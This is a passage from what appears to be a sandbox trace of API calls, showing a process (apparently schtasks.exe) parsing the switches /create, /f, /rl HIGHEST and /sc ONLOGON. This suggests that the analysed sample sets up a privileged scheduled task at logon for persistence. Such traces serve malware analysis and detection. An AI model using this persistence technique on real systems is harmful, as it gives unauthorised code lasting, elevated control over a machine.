_Buffer="|xml|") returned 5 [0129.926] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.926] lstrlenW (lpString="|xml|") returned 5 [0129.926] lstrlenW (lpString="|rl|") returned 4 [0129.926] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0129.926] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.926] lstrlenW (lpString="ec") returned 2 [0129.926] lstrlenW (lpString="ec") returned 2 [0129.926] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.926] lstrlenW (lpString="rl") returned 2 [0129.927] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.927] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ec|") returned 4 [0129.927] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.927] lstrlenW (lpString="|ec|") returned 4 [0129.927] lstrlenW (lpString="|rl|") returned 4 [0129.927] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.927] lstrlenW (lpString="rl") returned 2 [0129.927] lstrlenW (lpString="rl") returned 2 [0129.927] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.927] lstrlenW (lpString="rl") returned 2 [0129.927] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.927] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.927] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rl|") returned 4 [0129.927] lstrlenW (lpString="|rl|") returned 4 [0129.927] lstrlenW (lpString="|rl|") returned 4 [0129.927] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.927] lstrlenW (lpString="HIGHEST") returned 7 [0129.927] lstrlenW (lpString="-/") returned 2 [0129.927] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.927] lstrlenW (lpString="HIGHEST") returned 7 [0129.927] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0129.927] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.928] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.928] _memicmp (_Buf1=0x1157a5aab10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.928] lstrlenW (lpString="HIGHEST") returned 7 [0129.928] lstrlenW (lpString="HIGHEST") returned 7 [0129.928] lstrlenW (lpString=" \x09") returned 2 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0129.928] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0129.928] GetLastError () returned 0x0 [0129.928] lstrlenW (lpString="HIGHEST") returned 7 [0129.928] lstrlenW (lpString="HIGHEST") returned 7 [0129.934] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.934] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.934] lstrlenW (lpString="/f") returned 2 [0129.934] lstrlenW (lpString="-/") returned 2 [0129.934] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.934] lstrlenW (lpString="create") returned 6 [0129.934] lstrlenW (lpString="create") returned 6 [0129.934] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.934] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.934] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|create|") returned 8 [0129.934] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.934] lstrlenW (lpString="|create|") returned 8 [0129.934] lstrlenW (lpString="|f|") returned 3 [0129.934] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.934] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.934] lstrlenW (lpString="?") returned 1 [0129.934] lstrlenW (lpString="?") returned 1 [0129.934] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.935] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.935] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|?|") returned 3 [0129.935] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.935] lstrlenW (lpString="|?|") returned 3 [0129.935] lstrlenW (lpString="|f|") returned 3 [0129.935] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.935] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.935] lstrlenW (lpString="s") returned 1 [0129.935] lstrlenW (lpString="s") returned 1 [0129.935] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.935] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.935] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|s|") returned 3 [0129.935] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.935] lstrlenW (lpString="|s|") returned 3 [0129.935] lstrlenW (lpString="|f|") returned 3 [0129.935] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0129.935] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.935] lstrlenW (lpString="u") returned 1 [0129.935] lstrlenW (lpString="u") returned 1 [0129.935] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.935] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.935] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|u|") returned 3 [0129.935] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.935] lstrlenW (lpString="|u|") returned 3 [0129.935] lstrlenW (lpString="|f|") returned 3 [0129.935] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0129.935] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.935] lstrlenW (lpString="p") returned 1 [0129.936] lstrlenW (lpString="p") returned 1 [0129.936] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.936] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.936] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|p|") returned 3 [0129.936] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.936] lstrlenW (lpString="|p|") returned 3 [0129.936] lstrlenW (lpString="|f|") returned 3 [0129.936] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0129.936] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.936] lstrlenW (lpString="ru") returned 2 [0129.936] lstrlenW (lpString="ru") returned 2 [0129.936] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.936] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.936] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ru|") returned 4 [0129.936] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.936] lstrlenW (lpString="|ru|") returned 4 [0129.936] lstrlenW (lpString="|f|") returned 3 [0129.936] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0129.936] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.936] lstrlenW (lpString="rp") returned 2 [0129.936] lstrlenW (lpString="rp") returned 2 [0129.936] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.936] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.936] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|rp|") returned 4 [0129.936] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.937] lstrlenW (lpString="|rp|") returned 4 [0129.937] lstrlenW (lpString="|f|") returned 3 [0129.937] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0129.937] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.937] lstrlenW (lpString="sc") returned 2 [0129.937] lstrlenW (lpString="sc") returned 2 [0129.937] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.937] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.937] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sc|") returned 4 [0129.937] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.937] lstrlenW (lpString="|sc|") returned 4 [0129.937] lstrlenW (lpString="|f|") returned 3 [0129.937] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0129.937] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.937] lstrlenW (lpString="mo") returned 2 [0129.937] lstrlenW (lpString="mo") returned 2 [0129.937] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.937] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.937] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|mo|") returned 4 [0129.937] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.937] lstrlenW (lpString="|mo|") returned 4 [0129.937] lstrlenW (lpString="|f|") returned 3 [0129.937] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0129.937] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.937] lstrlenW (lpString="d") returned 1 [0129.937] lstrlenW (lpString="d") returned 1 [0129.937] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.938] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.938] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|d|") returned 3 [0129.938] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.938] lstrlenW (lpString="|d|") returned 3 [0129.938] lstrlenW (lpString="|f|") returned 3 [0129.938] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0129.938] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.938] lstrlenW (lpString="m") returned 1 [0129.938] lstrlenW (lpString="m") returned 1 [0129.938] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.938] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.938] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|m|") returned 3 [0129.938] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.938] lstrlenW (lpString="|m|") returned 3 [0129.938] lstrlenW (lpString="|f|") returned 3 [0129.938] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0129.938] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.938] lstrlenW (lpString="i") returned 1 [0129.938] lstrlenW (lpString="i") returned 1 [0129.938] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.938] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.938] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|i|") returned 3 [0129.938] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.938] lstrlenW (lpString="|i|") returned 3 [0129.938] lstrlenW (lpString="|f|") returned 3 [0129.938] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0129.938] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.938] lstrlenW (lpString="tn") returned 2 [0129.939] lstrlenW (lpString="tn") returned 2 [0129.939] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.939] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.939] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tn|") returned 4 [0129.939] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.939] lstrlenW (lpString="|tn|") returned 4 [0129.939] lstrlenW (lpString="|f|") returned 3 [0129.939] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0129.939] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.939] lstrlenW (lpString="tr") returned 2 [0129.939] lstrlenW (lpString="tr") returned 2 [0129.939] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.939] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.939] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|tr|") returned 4 [0129.939] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.939] lstrlenW (lpString="|tr|") returned 4 [0129.939] lstrlenW (lpString="|f|") returned 3 [0129.939] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0129.939] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.939] lstrlenW (lpString="st") returned 2 [0129.939] lstrlenW (lpString="st") returned 2 [0129.939] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.939] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.939] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|st|") returned 4 [0129.940] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.940] lstrlenW (lpString="|st|") returned 4 [0129.940] lstrlenW (lpString="|f|") returned 3 [0129.940] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0129.940] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.940] lstrlenW (lpString="sd") returned 2 [0129.940] lstrlenW (lpString="sd") returned 2 [0129.940] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.940] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.940] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|sd|") returned 4 [0129.940] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.940] lstrlenW (lpString="|sd|") returned 4 [0129.940] lstrlenW (lpString="|f|") returned 3 [0129.940] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0129.940] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.940] lstrlenW (lpString="ed") returned 2 [0129.940] lstrlenW (lpString="ed") returned 2 [0129.940] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.940] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.940] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ed|") returned 4 [0129.940] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.940] lstrlenW (lpString="|ed|") returned 4 [0129.940] lstrlenW (lpString="|f|") returned 3 [0129.940] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0129.940] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.940] lstrlenW (lpString="it") returned 2 [0129.941] lstrlenW (lpString="it") returned 2 [0129.941] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.941] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.941] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|it|") returned 4 [0129.941] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.941] lstrlenW (lpString="|it|") returned 4 [0129.941] lstrlenW (lpString="|f|") returned 3 [0129.941] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0129.941] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.941] lstrlenW (lpString="et") returned 2 [0129.941] lstrlenW (lpString="et") returned 2 [0129.941] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.941] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.941] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|et|") returned 4 [0129.941] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.941] lstrlenW (lpString="|et|") returned 4 [0129.941] lstrlenW (lpString="|f|") returned 3 [0129.941] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0129.941] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.941] lstrlenW (lpString="k") returned 1 [0129.941] lstrlenW (lpString="k") returned 1 [0129.941] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.941] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.942] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|k|") returned 3 [0129.942] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.942] lstrlenW (lpString="|k|") returned 3 [0129.942] lstrlenW (lpString="|f|") returned 3 [0129.942] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0129.942] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.942] lstrlenW (lpString="du") returned 2 [0129.942] lstrlenW (lpString="du") returned 2 [0129.942] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.942] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.942] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|du|") returned 4 [0129.942] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.942] lstrlenW (lpString="|du|") returned 4 [0129.942] lstrlenW (lpString="|f|") returned 3 [0129.942] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0129.942] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.942] lstrlenW (lpString="ri") returned 2 [0129.942] lstrlenW (lpString="ri") returned 2 [0129.942] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.942] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.943] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|ri|") returned 4 [0129.943] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.943] lstrlenW (lpString="|ri|") returned 4 [0129.943] lstrlenW (lpString="|f|") returned 3 [0129.943] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0129.943] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.943] lstrlenW (lpString="z") returned 1 [0129.943] lstrlenW (lpString="z") returned 1 [0129.943] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.943] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.943] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|z|") returned 3 [0129.943] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.943] lstrlenW (lpString="|z|") returned 3 [0129.943] lstrlenW (lpString="|f|") returned 3 [0129.943] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0129.943] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.943] lstrlenW (lpString="f") returned 1 [0129.943] lstrlenW (lpString="f") returned 1 [0129.943] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.943] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.943] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.943] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827c5c8 | out: _Buffer="|f|") returned 3 [0129.943] lstrlenW (lpString="|f|") returned 3 [0129.944] lstrlenW (lpString="|f|") returned 3 [0129.944] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0129.958] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.958] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.958] GetProcessHeap () returned 0x1157a5a0000 [0129.958] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab390 [0129.958] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.958] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0129.959] lstrlenW (lpString="LIMITED") returned 7 [0129.959] GetProcessHeap () returned 0x1157a5a0000 [0129.959] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x10) returned 0x1157a5aaa90 [0129.959] GetThreadLocale () returned 0x409 [0129.959] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0129.959] GetProcessHeap () returned 0x1157a5a0000 [0129.959] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab570 [0129.959] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.959] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0129.959] lstrlenW (lpString="HIGHEST") returned 7 [0129.959] GetProcessHeap () returned 0x1157a5a0000 [0129.959] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x10) returned 0x1157a5aa810 [0129.959] GetThreadLocale () returned 0x409 [0129.959] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0129.959] GetProcessHeap () returned 0x1157a5a0000 [0129.960] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab990 [0129.960] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.960] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0129.960] lstrlenW (lpString="MINUTE") returned 6 [0129.960] GetProcessHeap () returned 0x1157a5a0000 [0129.960] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xe) returned 0x1157a5aaad0 [0129.960] GetThreadLocale () returned 0x409 [0129.960] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0129.960] GetProcessHeap () returned 0x1157a5a0000 [0129.960] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab7e0 [0129.960] _memicmp (_Buf1=0x1157a5a3950, 